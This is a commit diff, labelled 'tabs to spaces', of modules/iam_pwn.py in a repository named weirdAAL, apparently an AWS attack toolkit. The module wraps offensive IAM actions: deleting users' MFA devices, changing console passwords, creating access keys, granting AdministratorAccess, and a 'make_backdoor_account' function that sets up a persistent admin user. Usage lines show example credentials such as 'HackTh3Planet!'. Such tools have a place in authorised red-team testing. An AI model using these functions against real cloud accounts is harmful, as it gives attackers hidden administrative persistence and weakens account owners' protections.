dash/weirdAAL
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

tabs to spaces

Browse Source
This commit is contained in:
carnal0wnage
2018-04-23 19:28:27 -04:00
parent ed630bba1f
commit 07a68ba4ba
1 changed files with 56 additions and 43 deletions
Download Patch File Download Diff File Expand all files Collapse all files

99
modules/iam_pwn.py
View File

@@ -7,74 +7,87 @@ from libs.sts import *
def module_iam_get_account_summary(): def module_iam_get_account_summary():
''' '''
Get account summmary for current user get_account_summary() Get account summmary for current user get_account_summary()
''' '''
iam_get_account_summary() iam_get_account_summary()
def module_iam_check_root_account(): def module_iam_check_root_account():
''' '''
runs get_account_summary, list_users, for each user list_login_profiles() & list_mfa_devices() runs get_account_summary, list_users, for each user list_login_profiles() & list_mfa_devices()
''' '''
check_root_account() check_root_account()
def module_iam_get_password_policy(): def module_iam_get_password_policy():
''' '''
runs IAM get_account_password_policy for the current user runs IAM get_account_password_policy for the current user
''' '''
get_password_policy() get_password_policy()
def module_iam_list_mfa_device(*text): def module_iam_list_mfa_device(*text):
''' '''
List MFA device for specified user List MFA device for specified user
python3 weirdAAL.py -m iam_list_mfa_device -a python -t yolo python3 weirdAAL.py -m iam_list_mfa_device -a python -t yolo
''' '''
iam_list_mfa_device(text[0][0]) iam_list_mfa_device(text[0][0])
def module_iam_delete_mfa_device(*text): def module_iam_delete_mfa_device(*text):
''' '''
delete specified MFA device for specified user - username,serialnum delete specified MFA device for specified user - username,serialnum
python3 weirdAAL.py -m iam_delete_mfa_device -a 'python','arn:aws:iam::XXXXXXXXX:mfa/python' -t yolo python3 weirdAAL.py -m iam_delete_mfa_device -a 'python','arn:aws:iam::XXXXXXXXX:mfa/python' -t yolo
''' '''
iam_delete_mfa_device(text[0][0], text[0][1]) iam_delete_mfa_device(text[0][0], text[0][1])
def module_iam_change_user_console_password(*text): def module_iam_change_user_console_password(*text):
''' '''
change the console password for the specied user change the console password for the specied user
python3 weirdAAL.py -m iam_change_user_console_password -a 'python','HackTh3Planet!' -t yolo python3 weirdAAL.py -m iam_change_user_console_password -a 'python','HackTh3Planet!' -t yolo
''' '''
iam_change_user_console_password(text[0][0], text[0][1]) iam_change_user_console_password(text[0][0], text[0][1])
def module_iam_create_access_key(*text): def module_iam_create_access_key(*text):
''' '''
create an access key for specfied user create an access key for specfied user
python3 weirdAAL.py -m iam_create_access_key -a 'python' -t yolo python3 weirdAAL.py -m iam_create_access_key -a 'python' -t yolo
''' '''
iam_create_access_key(text[0][0]) iam_create_access_key(text[0][0])
def module_iam_delete_access_key(*text): def module_iam_delete_access_key(*text):
''' '''
delete the specified access key for a specified user username,accesskeyid delete the specified access key for a specified user username,accesskeyid
python3 weirdAAL.py -m iam_delete_access_key -a 'python','AKIAEXAMPLEQ' -t yolo python3 weirdAAL.py -m iam_delete_access_key -a 'python','AKIAEXAMPLEQ' -t yolo
''' '''
iam_delete_access_key(text[0][0], text[0][1]) iam_delete_access_key(text[0][0], text[0][1])
def module_iam_create_user(*text):
'''
create a IAM user with the specified username
'''
iam_create_user(text[0][0])
def module_iam_make_admin(*text):
'''
attach the admin policy ['arn:aws:iam::aws:policy/AdministratorAccess'] to the specified user
'''
iam_make_admin(text[0][0])
#create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
#make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
def module_iam_make_backdoor_account(*text): def module_iam_make_backdoor_account(*text):
''' '''
calls the following functions: calls the following functions:
iam_create_user(username) iam_create_user(username)
iam_make_admin(username) iam_make_admin(username)
iam_create_user_console_password(username, password) iam_create_user_console_password(username, password)
iam_create_access_key(username) iam_create_access_key(username)
''' python3 weirdAAL.py -m iam_make_backdoor_account -a 'secureyershit','HackTh3Planet!' -t yolo
iam_make_backdoor_account(text[0][0], text[0][1]) '''
iam_make_backdoor_account(text[0][0], text[0][1])